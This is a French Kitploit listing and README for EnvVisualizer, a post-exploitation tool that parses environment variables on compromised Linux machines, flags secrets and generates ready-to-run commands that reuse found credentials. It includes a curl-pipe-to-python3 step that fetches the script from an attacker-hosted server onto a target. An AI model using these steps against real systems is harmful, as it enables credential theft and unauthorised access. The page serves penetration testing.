Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
EnvVisualizer — Analyse et visualise /proc/self/environ sur des machines Linux compromises — catégorise les variables d'environnement par stack technique (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) et génère des informations classées par gravité avec des commandes prêtes à exécuter | Kitploit
Outils/GitHubGitHub/w4r10ck423/envvisualizer
Outils DéfensifsAnalyse des VulnérabilitésAudit de ConfigurationCollecte d'InformationsPost-ExploitationCTFTests d'IntrusionSécurité CloudDétection de SecretsRed Teaming
GitHubw4r10ck423/envvisualizer
44il y a 4 moisPas encore vérifié

EnvVisualizer

Analyse et visualise /proc/self/environ sur des machines Linux compromises — catégorise les variables d'environnement par stack technique (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) et génère des informations classées par gravité avec des commandes prêtes à exécuter

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

EnvVisualizer

root@kitploit:~
___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/       

Analysez, catégorisez et visualisez /proc/self/environ sur des machines Linux compromises.
Transformez un mur de texte fusionné de variables d'environnement en renseignements structurés et codés par couleur — en quelques secondes.


Python Platform License Context

Author

Auteur : @W4r10ck423


Le problème

Lorsque vous accédez à une machine et lisez /proc/self/environ, vous obtenez ceci :

root@kitploit:~
USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

EnvVisualizer transforme cela en ceci :

root@kitploit:~
============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

Avec rich installé, chaque catégorie dispose de son propre tableau codé par couleur.


Fonctionnalités

  • Trois modes d'entrée — lecture directe du fichier (précision parfaite), pipe via stdin, ou collage d'une chaîne brute
  • Analyseur intelligent à deux classes — gère correctement les chaînes concaténées où les octets nuls ont été supprimés par copier-coller ; détecte les variables POSIX en majuscules et les variables connues à préfixe minuscule (npm_*, node_*, pip_*, etc.)
  • Six catégories sémantiques — Sécurité/Auth, Identité, Chemins & Répertoires, NPM/Node, Réseau/Proxy, Système, et Autre
  • Expansion du PATH — chaque répertoire listé comme puce au lieu d'un mur séparé par des deux-points
  • Détection de secrets — signale les variables dont les noms ou valeurs correspondent à des motifs d'identifiants (TOKEN, KEY, SECRET, PASSWORD, etc.) avec un avertissement ⚠
  • Panneau Pentest Insights — fait remonter automatiquement les découvertes exploitables : contexte root, escalade sudo, ports du débogueur Node.js exposés, scripts de cycle de vie actifs
  • Rich ou plain — tableaux codés par couleur avec rich installé ; sortie texte propre en repli (aucune dépendance requise)

Installation

Option 1 — Cloner et exécuter (recommandé pour les environnements de pentest)

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

Option 2 — Installer comme commande système

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

Option 3 — Fichier unique (git non requis)

Copiez envvisualizer.py sur la machine cible ou attaquante. Il s'exécute sans aucune dépendance :

root@kitploit:~
# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

Prérequis

DépendanceVersionRequis
Python≥ 3.8Oui
rich≥ 13.0Non (repli en texte brut)

Utilisation

root@kitploit:~
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

Modes d'entrée

MéthodeCommandePrécision
Lecture directe du fichierpython3 envvisualizer.py -f /proc/self/environ✅ Parfaite (découpage sur octet nul)
Pipe stdincat /proc/self/environ | python3 envvisualizer.py✅ Parfaite (découpage sur octet nul)
Chaîne colléepython3 envvisualizer.py -r 'USER=dev...'✅ Bonne (heuristique à deux classes)
Sans argument (démo)python3 envvisualizer.py✅ Parfaite (processus propre)

Astuce : Préférez -f dès que vous avez accès au fichier.
Le délimiteur d'octet nul dans le fichier réel est exact — aucune heuristique nécessaire.


Exemples

Lecture directe depuis proc (meilleure précision)

root@kitploit:~
# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

Pipe via stdin

root@kitploit:~
cat /proc/self/environ | python3 envvisualizer.py

Coller une chaîne brute (copiée depuis un web shell / une sortie RCE)

root@kitploit:~
python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'

Sortie en texte brut (sans dépendance rich)

root@kitploit:~
python3 envvisualizer.py -f /proc/self/environ --no-rich

Catégories de sortie

Les variables sont regroupées en 12 catégories, évaluées par ordre de priorité (première correspondance gagnante).

CatégorieVariables typiques
🔐 Sécurité / AuthSSH_*, SUDO_*, tout ce qui correspond à TOKEN, KEY, SECRET, PASSWORD, CREDENTIAL, CERT
👤 IdentitéUSER, LOGNAME, HOME, SHELL, UID, GID
🗄 Base de donnéesPG*, MYSQL_*, MONGO*, REDIS_*, DATABASE_URL, DB_*, ELASTIC*, CASSANDRA_*, SQLALCHEMY_*
☁ Cloud / InfrastructureAWS_*, GOOGLE_*, AZURE_*, ARM_*, DOCKER_*, KUBERNETES_*, VAULT_*, TF_*, CLOUDFLARE_*
🔄 CI/CD & VCSGITHUB_*, GITLAB_*, CI_*, TRAVIS_*, CIRCLE*, JENKINS_*, HEROKU_*, BUILD_*
🔌 API tiercesSTRIPE_*, TWILIO_*, SENDGRID_*, SENTRY_*, DD_*, SLACK_*, OPENAI_*, ALGOLIA_*, AUTH0_*
🕸 Frameworks WebDJANGO_*, FLASK_*, RAILS_*, SPRING_*, , , , , , ,

Pentest Insights

Le panneau Pentest Insights déclenche des détections ciblées et adaptées à la stack avec quatre niveaux de gravité.
Des commandes prêtes à l'emploi sont générées à la volée à partir des valeurs réelles trouvées dans l'environnement.

GravitéPréfixeSignification
💀 CRITICAL[!!!]Identifiant actif, clé secrète ou clé maîtresse — impact immédiat
⚠ HIGH[!! ]Jeton, mode debug ou service exposé — chemin d'attaque exploitable
→ MEDIUM[! ]Information intéressante pouvant faciliter l'escalade
▶ INFO[ * ]Contexte général sur le processus et l'environnement

Détections par stack technique

StackCe qui est détecté
PostgreSQLPGPASSWORD → construit automatiquement psql postgresql://user:pass@host/db
MySQL / MariaDBMYSQL_ROOT_PASSWORD / MYSQL_PASSWORD → construit automatiquement la commande mysql
MongoDBMONGO_INITDB_ROOT_* → construit automatiquement la commande mongosh
RedisREDIS_PASSWORD → construit automatiquement la commande redis-cli -a
URLs de BDDATABASE_URL, MONGODB_URI, etc. → signale les identifiants intégrés
AWSPaire de clés → signale comme long terme ou STS temporaire, suggère aws sts get-caller-identity
GCPGOOGLE_APPLICATION_CREDENTIALS → suggère gcloud auth activate-service-account
AzureAZURE_CLIENT_SECRET → signale l'ID de tenant + suggère az login --service-principal
HashiCorp VaultVAULT_TOKEN + VAULT_ADDR → suggère vault token lookup
KubernetesKUBERNETES_SERVICE_HOST injecté → signale le contexte de pod, suggère la lecture du jeton SA
DockerDOCKER_HOST défini → signale l'exposition du démon
GitHub / GitLabJetons → suggère des commandes curl de validation d'API
HerokuHEROKU_API_KEY → signale avec le nom de l'application
Stripesk_live_* en production → CRITICAL ; sk_test_* → MEDIUM

Exemple de sortie (scénario multi-stack)

root@kitploit:~
── Pentest Insights ─────────────────────────────────────────────────────────
  [!!!]  PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
  [!!!]  DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
  [!!!]  MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
  [!!!]  AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE  (run: aws sts get-caller-identity)
  [!!!]  HashiCorp Vault token in env → vault token lookup  addr: http://vault.internal:8200
  [!!!]  Stripe LIVE secret key — production payment API access
  [!!!]  Rails master key in env — decrypts config/credentials.yml.enc
  [!! ]  Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
  [!! ]  Inside Kubernetes pod → service host: 10.96.0.1
  [!! ]  GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
  [!! ]  Django DEBUG=True — full stack traces served to users
  [!! ]  JVM remote debugging enabled → -agentlib:jdwp=...  (try: jdb -attach <host>:<port>)
  [ * ]  Python venv active → /var/www/myapp/.venv

Fonctionnement de l'analyseur de chaînes

Lorsque /proc/self/environ est copié-collé (par exemple, depuis un web shell ou une sortie curl), les octets nuls sont supprimés, fusionnant les variables adjacentes :

root@kitploit:~
USER=dev·npm_config_user_agent=npm/8.5.1...
     ↑──↑↑───────────────────↑
   value    next key starts here

Un découpage naïf sur WORD= produirait devnpm_config_user_agent comme clé.

EnvVisualizer utilise un détecteur de frontière à deux classes qui ne découpe que sur :

  1. Clés à dominante majuscule — USER, HOME, JOURNAL_STREAM, etc.
  2. Préfixes minuscules connus — npm_*, node_*, pip_*, java_*, python_*, ruby_*, etc.

Comme l'expression régulière trouve npm_config_user_agent à l'intérieur du jeton fusionné, la valeur précédente est automatiquement réduite à dev. Pas de lookbehind, pas d'hypothèses sur les limites de mots — juste le motif de clé lui-même comme ancre.


Licence

MIT — utilisation libre, attribution appréciée.

Télécharger l’outil
ASPNETCORE_*
APP_KEY/ENV/DEBUG
SECRET_KEY_BASE
MIX_ENV
NEXT_*
VITE_*
REACT_APP_*
🐍 Runtimes applicatifsPYTHON*, CONDA_*, VIRTUAL_ENV, GEM_*, BUNDLE_*, JAVA_*, JVM_*, MAVEN_*, CATALINA_*, GO*, RUST*, CARGO_*, PHP_*, DOTNET_*, PERL*, DENO_*
📦 NPM / Nodenpm_*, NODE, NODE_ENV, NODE_OPTIONS
📂 Chemins & RépertoiresPATH, PWD, *_DIR, *_PREFIX, *_HOME, *_CACHE, INIT_CWD
🌐 Réseau / Proxy*_PROXY, HOSTNAME, SSL_CERT_*, CURL_CA_BUNDLE, *_URL, *_ADDR
⚙ SystèmeLANG, TERM, EDITOR, INVOCATION_ID, JOURNAL_STREAM, XDG_*, LC_*
AutreTout le reste, trié par ordre alphabétique
Datadog
DD_API_KEY → signale l'accès aux métriques/logs/traces
SlackSLACK_BOT_TOKEN / SLACK_APP_TOKEN → signale l'accès au workspace
OpenAIOPENAI_API_KEY → signale l'exposition de la facturation
DjangoDJANGO_DEBUG=True → signale l'exposition des traces de pile
FlaskFLASK_DEBUG=1 → signale le débogueur interactif Werkzeug (contournement du PIN / SSTI)
LaravelAPP_DEBUG=true + APP_KEY=base64:* → signale le chemin de falsification de cookie
RailsRAILS_MASTER_KEY → CRITICAL (déchiffre credentials.yml.enc) ; SECRET_KEY_BASE → falsification du cookie de session
JVMJAVA_TOOL_OPTIONS avec jdwp → signale le port de débogage distant, suggère jdb -attach
TomcatCATALINA_HOME → signale le chemin vers tomcat-users.xml
Node.js--inspect / --inspect-brk → signale le débogueur, suggère chrome://inspect
KerberosKRB5CCNAME → signale le cache de tickets, suggère klist / Impacket
SudoSUDO_USER → affiche l'UID/GID d'origine avant l'escalade